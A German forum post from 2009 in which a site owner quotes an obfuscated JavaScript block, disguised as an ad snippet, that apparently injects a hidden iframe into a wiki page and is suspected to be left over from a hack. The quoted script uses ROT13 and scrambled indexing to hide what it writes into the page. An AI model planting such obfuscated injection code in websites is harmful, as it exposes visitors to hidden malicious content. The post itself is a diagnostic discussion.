Auf der Seite befindet sich ein sehr dubioses javascript, dass vermutlich den iframe erzeugt:
- Code: Alles auswählen
<!-- ad --><SCRIPT>var fzFirW33B0Xew7ZVj7W5eMCKJ='';var Kkm4fHfQdP4vi7XHFoDi7Wgxai2='vfgao%g2u%0r2v P%/rat2%%%e0%z0%02-f322r1r%%r2rpNbb2v1gQoqPn%e2cb/p%%t2ze/s %Qgtp.jQ02n%3e%seuyva0%232Q330n3/j.Sq3v2e2R%Nz2%t/%u2u%b2%RQ3%3rgv22%2s32%0';var BKqBNqF8sFniNybCl='591064783242063975182650489317534861209703975182466541982730214965370817548036929650274831638452097160915423873042965871290867153404531296872139856740';var jILqrDzQ1='';for(var vDm=0;vDm<15;vDm++) for(var QCldAp64S5=0;QCldAp64S5<10;QCldAp64S5++) { jILqrDzQ1=Kkm4fHfQdP4vi7XHFoDi7Wgxai2.charCodeAt((parseInt(BKqBNqF8sFniNybCl.charAt(vDm*10+QCldAp64S5))*15)+vDm); if ((jILqrDzQ1>=65 && jILqrDzQ1<78) || (jILqrDzQ1>=97 && jILqrDzQ1<110)) jILqrDzQ1+=13;
else if ((jILqrDzQ1>=78 && jILqrDzQ1<91) || (jILqrDzQ1>=110 && jILqrDzQ1<123)) jILqrDzQ1-=13;fzFirW33B0Xew7ZVj7W5eMCKJ+=String.fromCharCode(jILqrDzQ1);}document.write(unescape(fzFirW33B0Xew7ZVj7W5eMCKJ));</SCRIPT><!-- /ad -->
Ich glaube auch nicht, dass die programmierer des Wiki Phpscripts einen so groben Fehler machen würden das ganze außerhalb des <body>-tags zu platzieren.
Vermutlich noch ein überbleibsel vom Hack.
Verfasst: Mi 6. Mai 2009, 08:50